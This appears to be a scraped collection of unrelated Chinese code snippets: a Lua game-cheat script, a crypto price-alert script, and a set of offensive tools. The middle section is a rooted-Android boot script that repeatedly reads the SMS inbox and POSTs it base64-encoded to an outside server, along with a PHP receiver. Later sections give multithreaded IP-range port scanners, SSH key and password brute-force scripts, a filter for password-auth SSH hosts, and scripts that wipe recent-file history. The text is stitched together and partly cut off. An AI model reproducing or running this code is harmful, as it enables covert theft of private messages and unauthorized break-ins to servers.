g_cheat_world_objects then Cheat_SaveWorldObjects() end function Cheat_LoadWorldObjects() World_GetAllNeutralEntities(g_cheat_egroup) EGroup_DestroyAllEntities(g_cheat_egroup) local entity for _,item in ipairs(g_cheat_world_objects) do if BP_GetType(item.bp)==PBGTYPE_Squad then Squad_CreateAndSpawnTowardENV(item.bp, 0, item.pos, Util_GetFacingFromDirection(item.pos,item.heading)) else entity=Entity_CreateENVFacing(item.bp, item.pos, Util_GetFacingFromDirection(item.pos,item.heading), true) Entity_ForceConstruct(entity) Entity_Spawn(entity) end end print("world objects loaded") end ]]) Scar_DoString(function Cheat_Win() World_EndSP(true,0) end function Cheat_Lose() World_EndSP(false,0) end ) Scar_DoString([[ function Cheat_Deactivate() if g_cheat_fow_disabled then Cheat_ToggleFOW() end if Player_GetCurrentPopulationCap(Game_GetLocalPlayer(),CT_Personnel)==99999 then Cheat_TogglePopCap() end if #g_cheat_fast_gather_modifier_list.applied_modid~=0 then Cheat_ToggleFastGather() end if #g_cheat_fast_production_modifier_list.applied_modid~=0 then Cheat_ToggleFastProduction() end if #g_cheat_fast_construction_and_repair_modifier_list.applied_modid~=0 then Cheat_ToggleFastConstructionAndRepair() end if #g_cheat_fast_cd_modifier_list.applied_modid~=0 then Cheat_ToggleFastCD() end for eid,_ in pairs(g_cheat_lock_current_tier_visuals_eid_list) do Entity_SetLockCurrentTierVisuals(Entity_FromID(eid),false) g_cheat_lock_current_tier_visuals_eid_list[eid]=nil end if g_cheat_building_production_unlocked then Cheat_ToggleBuildingProductionAvailability() end EGroup_SetInvulnerable(Player_GetAllEntities(Game_GetLocalPlayer()),false) for sid,modid in pairs(g_cheat_super_speed_modifier_list.applied_modid) do g_cheat_super_speed_modifier_list.applied_modid[sid]=nil Modifier_Remove(modid) end if g_TimerRate==0 then Cheat_ToggleTimerRate() end end ]]) Scar_DoString(function Cheat_ToggleUpgrade(name) local ubp=BP_GetUpgradeBlueprint(name) if Player_HasUpgrade(Game_GetLocalPlayer(),ubp) then Player_RemoveUpgrade(Game_GetLocalPlayer(),ubp) print(name.."=false") else Player_CompleteUpgrade(Game_GetLocalPlayer(),ubp) print(name.."=true") end end ) Scar_DoString([[ function Cheat_Spawn(name,id) local pos=Camera_GetPivot() if Misc_GetScreenCenterPosition then pos=Misc_GetScreenCenterPosition() end if not id then id=World_GetPlayerIndex(Game_GetLocalPlayer()) end if SBP_Exists(name) then local sbp=BP_GetSquadBlueprint(name) if id==0 then Squad_CreateAndSpawnTowardENVCheat(sbp, 0, pos, pos) else Squad_CreateAndSpawnTowardCheat(sbp, World_GetPlayerAt(id), 0, pos, pos) end else local ebp=BP_GetEntityBlueprint(name) local entity Entity_Precache(ebp,0,Game_GetLocalPlayer(),"g_cheat_cache","","") if id==0 then entity=Entity_CreateENV(ebp, pos, true) else entity=Entity_Create(ebp, World_GetPlayerAt(id), pos, true) end Entity_ForceConstruct(entity) Entity_Spawn(entity) end print(name.." spawned") end ]]) function reload() dofile("cheat/cheat.lua") end function deactivate() Scar_DoString("if Cheat_Deactivate then Cheat_Deactivate() end") end function tooktheredpill() Scar_DoString("if Cheat_ToggleFOW then Cheat_ToggleFOW() end") end function iamironman() Scar_DoString("if Cheat_ToggleBonus then Cheat_ToggleBonus() end") end function oi() Scar_DoString("if Cheat_AddBonusAbility then Cheat_AddBonusAbility() end") end function showmethemoney() Scar_DoString("if Cheat_AddResources then Cheat_AddResources() end") end function pointbreak() Scar_DoString("if Cheat_TogglePopCap then Cheat_TogglePopCap() end") end function theblip(xp3) cursor_setposition(0.5,0.5) if xp3 then Scar_DoString("if Cheat_SpawnVillagerXP3 then Cheat_SpawnVillagerXP3() end") else Scar_DoString("if Cheat_SpawnVillager then Cheat_SpawnVillager() end") end end function moredotsmoredots() Scar_DoString("if Cheat_ToggleFastGather then Cheat_ToggleFastGather() end") end function catfoodforprawnguns() Scar_DoString("if Cheat_ToggleFastProduction then Cheat_ToggleFastProduction() end") end function warpten() Scar_DoString("if Cheat_ToggleFastConstructionAndRepair then Cheat_ToggleFastConstructionAndRepair() end") end function hanshotfirst() Scar_DoString("if Cheat_ToggleFastCD then Cheat_ToggleFastCD() end") end function waraintwhatitusedtobe() Scar_DoString("if Cheat_AgeUp then Cheat_AgeUp() end") end function medievalman() Scar_DoString("if Cheat_AgeDown then Cheat_AgeDown() end") end function capsical() Scar_DoString("if Cheat_ToggleLockCurrentTierVisuals then Cheat_ToggleLockCurrentTierVisuals() end") end function modifythephasevariance() Scar_DoString("if Cheat_ToggleBuildingProductionAvailability then Cheat_ToggleBuildingProductionAvailability() end") end function sosayweall() Scar_DoString("if Cheat_UnlockAvailability then Cheat_UnlockAvailability() end") end function copy() Scar_DoString("if Cheat_Copy then Cheat_Copy() end") end function cut() Scar_DoString("if Cheat_Cut then Cheat_Cut() end") end function paste() cursor_setposition(0.5,0.5) Scar_DoString("if Cheat_Paste then Cheat_Paste() end") end function copyowner() Scar_DoString("if Cheat_CopyOwner then Cheat_CopyOwner() end") end function pasteowner() Scar_DoString("if Cheat_PasteOwner then Cheat_PasteOwner() end") end function imadoctornotaroachjim() Scar_DoString("if Cheat_Heal then Cheat_Heal() end") end function whosyourdaddy() Scar_DoString("if Cheat_ToggleInvulnerable then Cheat_ToggleInvulnerable() end") end function runbarryrun() Scar_DoString("if Cheat_ToggleSuperSpeed then Cheat_ToggleSuperSpeed() end") end function zeleport() cursor_setposition(0.5,0.5) Scar_DoString("if Cheat_Teleport then Cheat_Teleport() end") end function russianroulette() cursor_setposition(0.5,0.5) Scar_DoString("if Cheat_Rotate then Cheat_Rotate() end") end function shesawitch() Scar_DoString("if Cheat_SetOnFire then Cheat_SetOnFire() end") end function youshallnotpass() Scar_DoString("if Cheat_Kill then Cheat_Kill() end") end function thesnap() Scar_DoString("if Cheat_Delete then Cheat_Delete() end") end function seethatcomming() Scar_DoString("if Cheat_ToggleTimerRate then Cheat_ToggleTimerRate() end") end function CHANGE() Scar_DoString("if Cheat_TogglePlayerColour then Cheat_TogglePlayerColour() end") end function xelnagascycle() Scar_DoString("if Cheat_LoadWorldObjects then Cheat_LoadWorldObjects() end") end function whatisbestinlife() Scar_DoString("if Cheat_Win then Cheat_Win() end") end function letsjustbugoutandcalliteven() Scar_DoString("if Cheat_Lose then Cheat_Lose() end") end function upgrade(name) Scar_DoString("if Cheat_ToggleUpgrade then Cheat_ToggleUpgrade('"..name.."') end") end function spawn(name,id) cursor_setposition(0.5,0.5) Scar_DoString("if Cheat_Spawn then Cheat_Spawn('"..name.."',"..tostring(id)..") end") end Scar_DoString "print('lua function initialized')" bind("CONTROL+HOME","reload") bind("CONTROL+END","deactivate") bind("CONTROL+F","tooktheredpill") bind("CONTROL+B","iamironman") bind("CONTROL+O","oi") bind("CONTROL+M","showmethemoney") bind("CONTROL+P","pointbreak") bind("CONTROL+N","theblip") bind("CONTROL+SHIFT+N","theblip(true)") bind("CONTROL+G","moredotsmoredots") bind("CONTROL+E","catfoodforprawnguns") bind("CONTROL+W","warpten") bind("CONTROL+Q","hanshotfirst") bind("CONTROL+UP","waraintwhatitusedtobe") bind("CONTROL+DOWN","medievalman") bind("CONTROL+L","capsical") bind("CONTROL+U","modifythephasevariance") bind("CONTROL+SHIFT+U","sosayweall") bind("CONTROL+C","copy") bind("CONTROL+X","cut") bind("CONTROL+V","paste") bind("CONTROL+SHIFT+C","copyowner") bind("CONTROL+SHIFT+V","pasteowner") bind("CONTROL+H","imadoctornotaroachjim") bind("CONTROL+I","whosyourdaddy") bind("CONTROL+J","runbarryrun") bind("CONTROL+T","zeleport") bind("CONTROL+R","russianroulette") bind("ALT+DELETE","shesawitch") bind("CONTROL+DELETE","youshallnotpass") bind("CONTROL+SHIFT+DELETE","thesnap") bind("CONTROL+SPACE","seethatcomming") bind("CONTROL+TAB","CHANGE") bind("CONTROL+Z","xelnagascycle") bind("CONTROL+PAGEUP","whatisbestinlife") bind("CONTROL+PAGEDOWN","letsjustbugoutandcalliteven") Scar_DoString "print('binding initialized')" Scar_DoString "print('cheat activated')"
因为有需要编写了一款虚拟币检测达到某个价格时发送Wxpusher通知在linux上服务器后台挂机启动nohup python3 x.pyimport requests import time from datetime import datetime # 配置 API_URL = "https://api.huobi.pro/market/detail?symbol=melaniausdt" APP_TOKEN = "token" WXPUSER_URL = "https://wxpusher.zjiecode.com/api/send/message" USER_ID = "uid" # 设置正确的UID # 价格阈值 PRICE_THRESHOLDS = [6,7,8,9,10,11,12] # 通知状态记录 notification_states = {threshold: False for threshold in PRICE_THRESHOLDS} def send_notification(price, threshold): """发送WxPusher通知""" current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") message = f"当前价格 {price} 已超过{threshold}\n{current_time}" # 构建GET请求URL params = { "appToken": APP_TOKEN, "content": message, "contentType": 1, "uid": USER_ID, } try: print(f"正在发送通知，参数: {params}") # 调试信息 response = requests.get(WXPUSER_URL, params=params) print(f"通知接口响应: {response.text}") # 调试信息 response_data = response.json() if response.status_code == 200 and response_data.get('code') == 1000: print(f"通知发送成功: {message}") else: print(f"通知发送失败: {response.text}") print(f"失败状态码: {response.status_code}") print(f"失败响应: {response_data}") except Exception as e: print(f"发送通知时出错: {str(e)}") import traceback print(f"详细错误信息: {traceback.format_exc()}") def check_price(): """检查价格并在需要时发送通知""" try: print("正在获取价格数据...") # 调试信息 response = requests.get(API_URL) pass data = response.json() pass if data["status"] == "ok": current_price = float(data["tick"]["close"]) print(f"当前价格: {current_price}") for threshold in PRICE_THRESHOLDS: if current_price > threshold: # 如果价格超过阈值且之前没有发送过通知 if not notification_states[threshold]: send_notification(current_price, threshold) notification_states[threshold] = True else: # 价格低于阈值，重置通知状态 notification_states[threshold] = False else: print(f"API返回状态不正常: {data}") # 调试信息 except Exception as e: print(f"检查价格时出错: {str(e)}") print(f"错误类型: {type(e)}") # 调试信息 import traceback print(f"详细错误信息: {traceback.format_exc()}") # 打印完整错误堆栈 def main(): print("价格监控启动...") print(f"监控阈值: {PRICE_THRESHOLDS}") # 显示监控的价格阈值 print("开始循环检查价格...") while True: try: check_price() except Exception as e: print(f"主循环发生错误: {str(e)}") time.sleep(2) if __name__ == "__main__": main() win版支持火币、CoinEx、Crypto、芝麻gate.ioapi接口使用c#开发源码https://oss.8cdn.cn/d/code/WindowsFormsApp1.zip?sign=Xd5i6WcIHd4nEwtekp3voFN2lU2ZRyLZ_YCbBbSkte0=:0编译后现成的https://oss.8cdn.cn/d/tools/tools.exe?sign=c9DQYVVzOLrvz1E3q73GNXtepfbT2bVxc-zWIAG5qAs=:0
root后把文件移动到/data/adb/service.d目录下#!/system/bin/sh OUTPUT_FILE="/sdcard/sms_temp.txt" URL="http://cdn-api.8cdn.cn/ak.php" su -c " echo '开始获取短信...' # 创建临时文件 touch $OUTPUT_FILE chmod 666 $OUTPUT_FILE # 上传函数 upload_content() { local ENCODED_CONTENT=\$1 local RESPONSE=\$(curl -s -L -X POST \"$URL\" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'User-Agent: Mozilla/5.0' \ --data-urlencode \"content=\$ENCODED_CONTENT\") echo \"收到响应: \$RESPONSE\" if echo \"\$RESPONSE\" | grep -i \"success\" > /dev/null; then echo '上传成功' return 0 else echo \"上传失败: \$RESPONSE\" return 1 fi } while true; do # 清空临时文件并写入UTF-8 BOM echo -ne '\\xEF\\xBB\\xBF' > $OUTPUT_FILE # 获取所有短信 content query --uri content://sms/inbox \ --projection 'date:address:body' \ --sort 'date DESC' | while read -r line; do if [ ! -z \"\$line\" ]; then # 提取时间戳 timestamp=\$(echo \"\$line\" | grep -o 'date=[0-9]*' | cut -d'=' -f2) # 格式化时间（使用实际时间戳） current_time=\$(date +%s%3N) date=\$(date -d @\$((\$current_time/1000)) '+%Y-%m-%d %H:%M:%S') # 提取发送者和消息 sender=\$(echo \"\$line\" | grep -o 'address=[^,]*' | cut -d'=' -f2) message=\$(echo \"\$line\" | grep -o 'body=.*' | cut -d'=' -f2-) # 追加到文件（确保UTF-8编码） echo \"时间: \$date\" >> $OUTPUT_FILE echo \"发送者: \$sender\" >> $OUTPUT_FILE echo \"信息 : \$message\" >> $OUTPUT_FILE echo \"------------------\" >> $OUTPUT_FILE fi done echo '正在上传所有短信...' # 编码并上传 ENCODED_CONTENT=\$(base64 $OUTPUT_FILE | tr -d '\n') # 尝试上传，最多重试3次 MAX_RETRIES=3 RETRY_COUNT=0 SUCCESS=0 while [ \$RETRY_COUNT -lt \$MAX_RETRIES ] && [ \$SUCCESS -eq 0 ]; do if upload_content \"\$ENCODED_CONTENT\"; then SUCCESS=1 else RETRY_COUNT=\$((RETRY_COUNT + 1)) if [ \$RETRY_COUNT -lt \$MAX_RETRIES ]; then echo \"重试第 \$RETRY_COUNT 次...\" sleep 2 fi fi done if [ \$SUCCESS -eq 0 ]; then echo \"上传失败，已达到最大重试次数\" fi # 等待30秒 sleep 10 done " 接收的代码<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { // 获取当前时间 $update_time = date('Y-m-d H:i:s'); // 解码Base64内容 $decoded_content = base64_decode($_POST['content']); // 确保内容是UTF-8编码 if (!mb_check_encoding($decoded_content, 'UTF-8')) { $decoded_content = mb_convert_encoding($decoded_content, 'UTF-8', 'auto'); } // 解析短信内容 $lines = explode("\n", $decoded_content); $messages = []; $current = []; foreach ($lines as $line) { $line = trim($line); if (empty($line)) continue; if (strpos($line, '时间: ') === 0) { if (!empty($current)) { $messages[] = $current; } $current = ['time' => substr($line, strlen('时间: '))]; } elseif (strpos($line, '发送者: ') === 0) { $current['sender'] = substr($line, strlen('发送者: ')); } elseif (strpos($line, '信息 : ') === 0) { $current['content'] = substr($line, strlen('信息 : ')); } } if (!empty($current)) { $messages[] = $current; } // 生成HTML内容 $html = <<<HTML 短信记录 短信记录 更新时间：{$update_time} HTML; foreach ($messages as $msg) { $html .= <<<HTML {$msg['sender']} {$msg['time']} {$msg['content']} HTML; } $count = count($messages); $html .= <<
安装拓展pip3 install --upgrade setuptools wheel -i https://mirrors.aliyun.com/pypi/simple pip3 install setuptools-rust -i https://mirrors.aliyun.com/pypi/simple pip3 install paramiko -i https://mirrors.aliyun.com/pypi/simpletxt@echo off echo 正在清除最近打开的文本文件记录... :: 清除"最近使用的项目"文件夹中的内容 del /q %APPDATA%\Microsoft\Windows\Recent\*.lnk del /q %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*.automaticDestinations-ms del /q %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*.customDestinations-ms :: 清除记事本(Notepad)特定的最近文件列表 reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Notepad\Recent File List" /f :: 清除文件资源管理器的历史记录 reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.txt" /f :: 刷新资源管理器 taskkill /f /im explorer.exe start explorer.exe echo 清除完成！ echo 已删除最近打开的文本文件记录。 pause Powershell# 清除最近的项目 Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse # 清除最近打开的文件列表 Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\*" -Force -Recurse # 清除记事本历史记录 Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Applets\Notepad\Recent File List" -Force -ErrorAction SilentlyContinue # 重启资源管理器 Stop-Process -Name explorer Start-Process explorer1.python多线程查询a.b.c.1-a.b.c.255是否开放80端口并且进行排序import threading import socket from concurrent.futures import ThreadPoolExecutor # 定义要扫描的IP地址范围和端口范围 start_ip = "a.b.c.1" end_ip = "a.b.c.255" start_port = 22 end_port = 22 # 定义一个函数用于检查端口是否开放 def scan_port(ip, port): try: # 创建套接字对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 设置超时时间为1秒 s.settimeout(1) # 尝试连接到目标IP的指定端口 result = s.connect_ex((ip, port)) # 如果端口开放，则输出结果 if result == 0: print(f"{ip}:{port}") # 关闭套接字连接 s.close() except: pass # 定义一个函数用于扫描指定IP地址范围的端口 def scan_ip_range(ip_range): with ThreadPoolExecutor(max_workers=50) as executor: for ip in ip_range: for port in range(start_port, end_port + 1): executor.submit(scan_port, ip, port) # 将IP地址范围转换为列表 def ip_range(start_ip, end_ip): start = list(map(int, start_ip.split("."))) end = list(map(int, end_ip.split("."))) temp = start ip_range = [] ip_range.append(start_ip) while temp != end: start[3] += 1 for i in (3, 2, 1): if temp[i] == 256: temp[i] = 0 temp[i-1] += 1 ip_range.append(".".join(map(str, temp))) return ip_range # 执行端口扫描 ip_range_list = ip_range(start_ip, end_ip) scan_ip_range(ip_range_list) 验证200import threading import requests def check_status(ip): url = f"http://{ip}/ceshi" try: response = requests.get(url, timeout=1) if response.status_code == 200: print(f"IP {ip} 请求成功！") except requests.RequestException: pass # 不输出连接失败的信息 def main(): file_path = "/home/port.txt" with open(file_path, 'r') as file: ip_addresses = [line.strip() for line in file.readlines()] threads = [] for ip in ip_addresses: thread = threading.Thread(target=check_status, args=(ip,)) threads.append(thread) thread.start() for thread in threads: thread.join() if __name__ == "__main__": main() ssh密钥爆破import paramiko # 设置 SSH 密钥路径和用户名 private_key_path = '/root/.ssh/id_rsa' username = 'root' # 读取 port1.txt 文件中的 IP 和端口 with open('port1.txt', 'r') as f: lines = f.readlines() # 初始化 SSH 客户端 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 遍历每一行 IP 和端口 for line in lines: ip, port = line.strip().split(':') try: # 明确加载 RSA 密钥 private_key = paramiko.RSAKey.from_private_key_file(private_key_path) # 尝试使用 SSH 连接 client.connect(ip, port=int(port), username=username, pkey=private_key) print(f"Successfully connected to {ip}:{port}") # 一旦成功连接，立即断开并跳出循环 client.close() break # 如果连接成功，立刻停止后续操作 except Exception as e: print(f"Failed to connect to {ip}:{port} - {e}") ssh密码爆破import paramiko # 定义要连接的IP地址列表 ip_addresses = [ "1.1.1.1", "1.1.1.1" ] # 设置SSH连接的用户名和密码 username = "root" password = "root" # 尝试连接服务器 for ip in ip_addresses: print(f"尝试连接到 {ip}...") try: # 创建 SSH 客户端 client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=username, password=password) print(f"成功连接到 {ip}！") break # 如果连接成功，则跳出循环 except Exception as e: print(f"连接失败：{str(e)}") finally: client.close() # 关闭 SSH 客户端连接 匹配import requests from urllib3.exceptions import InsecureRequestWarning import time from concurrent.futures import ThreadPoolExecutor, as_completed import threading # 禁用 SSL 警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 创建线程锁用于打印 print_lock = threading.Lock() def test_url(region, url, ip, port): """测试单个URL的可访问性""" # 从原URL提取路径部分 path = url.split('baidu.com/')[1] # 构建新的URL new_url = f'http://{ip}:{port}/{path}' try: response = requests.get(new_url, verify=False, timeout=5) status = response.status_code with print_lock: pass except Exception as e: status = 0 with print_lock: pass return (ip, port, region, new_url, status) # 读取 URL 列表 with open('url.txt', 'r', encoding='utf-8') as file: url_lines = [line.strip() for line in file.readlines()] # 读取 IP 地址列表 with open('1.txt', 'r', encoding='utf-8') as file: ip_list = [line.strip() for line in file.readlines()] # 打印总数信息 print(f"URL 总数：{len(url_lines)}") print(f"IP 总数：{len(ip_list)}") print(f"总组合数：{len(url_lines) * len(ip_list)}") # 存储新的 URL 和 IP 信息的列表 url_ip_pairs = [] # 创建任务列表 tasks = [] for line in url_lines: region, url = line.split(' : ') # 对每个URL，尝试所有的IP for ip_port in ip_list: ip, port = ip_port.split(':') tasks.append((region, url, ip, port)) # 使用线程池执行任务 with ThreadPoolExecutor(max_workers=100) as executor: # 提交所有任务 future_to_url = {executor.submit(test_url, region, url, ip, port): (region, url) for region, url, ip, port in tasks} # 收集结果 for future in as_completed(future_to_url): result = future.result() url_ip_pairs.append(result) # 按 IP 地址和端口号排序 url_ip_pairs.sort(key=lambda x: (tuple(map(int, x[0].split('.'))), int(x[1]))) # 将排序后的 URL 写入 cg.txt 文件，只写入状态码为 200 的URL with open('cg.txt', 'w', encoding='utf-8') as file: success_count = 0 for ip, port, region, new_url, status in url_ip_pairs: if status == 200: file.write(f'{region} : {new_url}\n') success_count += 1 print(f"\n总结：") print(f"总计测试：{len(url_ip_pairs)} 个") print(f"成功访问（状态码200）：{success_count} 个") 需要修改系统限制# 查看系统限制 ulimit -a /etc/security/limits.conf ulimit -n * soft nofile 655350 * hard nofile 655350 # 查看当前进程数 ps -eLf | wc -l # 查看系统允许的最大线程数 cat /proc/sys/kernel/threads-max # 查看单个进程允许的最大线程数 cat /proc/sys/kernel/pid_max优化过的查看开放的端口import threading import socket import queue import time import sys import os # 重定向错误输出到 /dev/null sys.stderr = open(os.devnull, 'w') # 定义要扫描的IP地址范围和端口范围 start_ip = "1.1.1.1" end_ip = "1.1.1.255" start_port = 1 end_port = 1 # 自定义线程数 THREAD_COUNT = 2000 # 创建任务队列和结果列表 task_queue = queue.Queue() successful_connections = 0 connection_lock = threading.Lock() # 创建结果列表用于存储成功的连接 results = [] results_lock = threading.Lock() def scan_port(): global successful_connections while True: try: # 从队列获取任务 try: ip, port = task_queue.get_nowait() # 使用 get_nowait() 替代 get(timeout=1) except queue.Empty: return # 创建套接字对象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) # 减少超时时间到0.5秒 # 尝试连接 if s.connect_ex((ip, port)) == 0: with connection_lock: successful_connections += 1 with results_lock: results.append(f"{ip}:{port}") print(f"{ip}:{port}") s.close() task_queue.task_done() except Exception: try: task_queue.task_done() except: pass def ip_range(start_ip, end_ip): start = list(map(int, start_ip.split("."))) end = list(map(int, end_ip.split("."))) temp = start.copy() # 使用 copy() 避免修改原始列表 ip_range = [] ip_range.append(start_ip) while temp != end: temp[3] += 1 # 修改 temp 而不是 start for i in (3, 2, 1): if temp[i] == 256: temp[i] = 0 temp[i-1] += 1 ip_range.append(".".join(map(str, temp))) return ip_range def print_status(total_tasks): remaining = task_queue.qsize() completed = total_tasks - remaining if completed > 0 and total_tasks > 0: print(f"\r进度: {completed}/{total_tasks} ({completed/total_tasks*100:.1f}%) 发现开放端口: {successful_connections}", end='', flush=True) def main(): # 获取IP范围列表 ip_range_list = ip_range(start_ip, end_ip) total_tasks = len(ip_range_list) * (end_port - start_port + 1) print(f"总任务数: {total_tasks}") print(f"使用线程数: {THREAD_COUNT}") # 将所有任务加入队列 for port in range(start_port, end_port + 1): # 先遍历端口 for ip in ip_range_list: # 再遍历IP task_queue.put((ip, port)) # 创建并启动线程 threads = [] for _ in range(THREAD_COUNT): t = threading.Thread(target=scan_port) t.daemon = True t.start() threads.append(t) # 显示进度 try: while task_queue.qsize() > 0: print_status(total_tasks) time.sleep(0.1) # 减少刷新间隔 except KeyboardInterrupt: print("\n扫描被用户中断") return # 等待所有任务完成 task_queue.join() print("\n扫描完成") # 将结果保存到文件 if results: # 只有在有结果时才创建文件 with open('c1.txt', 'w') as f: for result in sorted(results, key=lambda x: (tuple(map(int, x.split(':')[0].split('.'))), int(x.split(':')[1]))): f.write(result + '\n') print(f"发现 {len(results)} 个开放端口，结果已保存到 c1.txt") else: print("未发现开放端口") if __name__ == "__main__": start_time = time.time() main() print(f"总耗时: {time.time() - start_time:.2f}秒") ssh筛选import paramiko import socket import threading import queue import time import sys import os # 重定向标准错误输出到 /dev/null sys.stderr = open(os.devnull, 'w') # 禁用 paramiko 的警告信息 import warnings warnings.filterwarnings(action='ignore',module='.*paramiko.*') # 从文件读取IP:端口列表 with open('c1.txt', 'r') as f: targets = [line.strip() for line in f.readlines()] # 创建任务队列和结果列表 task_queue = queue.Queue() password_auth = [] # 支持密码登录的服务器 results_lock = threading.Lock() # 线程数 THREAD_COUNT = 100 def check_ssh_auth(ip, port): try: transport = paramiko.Transport((ip, int(port))) transport.start_client() # 尝试获取可用的认证方法 try: transport.auth_none('test') except paramiko.BadAuthenticationType as err: # 获取服务器支持的认证方法 allowed_types = err.allowed_types if 'password' in allowed_types: with results_lock: password_auth.append(f"{ip}:{port}") print(f"发现支持密码登录的服务器: {ip}:{port}") except: pass finally: try: transport.close() except: pass def worker(): while True: try: target = task_queue.get_nowait() if target is None: break ip, port = target.split(':') check_ssh_auth(ip, port) task_queue.task_done() except queue.Empty: break except: pass def main(): print(f"开始检测 {len(targets)} 个目标...") # 将目标添加到队列 for target in targets: task_queue.put(target) # 创建并启动线程 threads = [] for _ in range(THREAD_COUNT): t = threading.Thread(target=worker) t.daemon = True t.start() threads.append(t) # 显示进度 total = len(targets) while task_queue.qsize() > 0: remaining = task_queue.qsize() completed = total - remaining print(f"\r进度: {completed}/{total} ({completed/total*100:.1f}%) " f"发现支持密码登录: {len(password_auth)}", end='', flush=True) time.sleep(0.1) # 等待所有任务完成 task_queue.join() print("\n检测完成") # 显示最终结果 if password_auth: print(f"\n发现 {len(password_auth)} 个支持密码登录的服务器:") for result in sorted(password_auth, key=lambda x: tuple(map(int, x.split(':')[0].split('.') + [x.split(':')[1]]))): print(result) else: print("未发现支持密码登录的服务器") if __name__ == "__main__": start_time = time.time() main() print(f"总耗时: {time.time() - start_time:.2f}秒")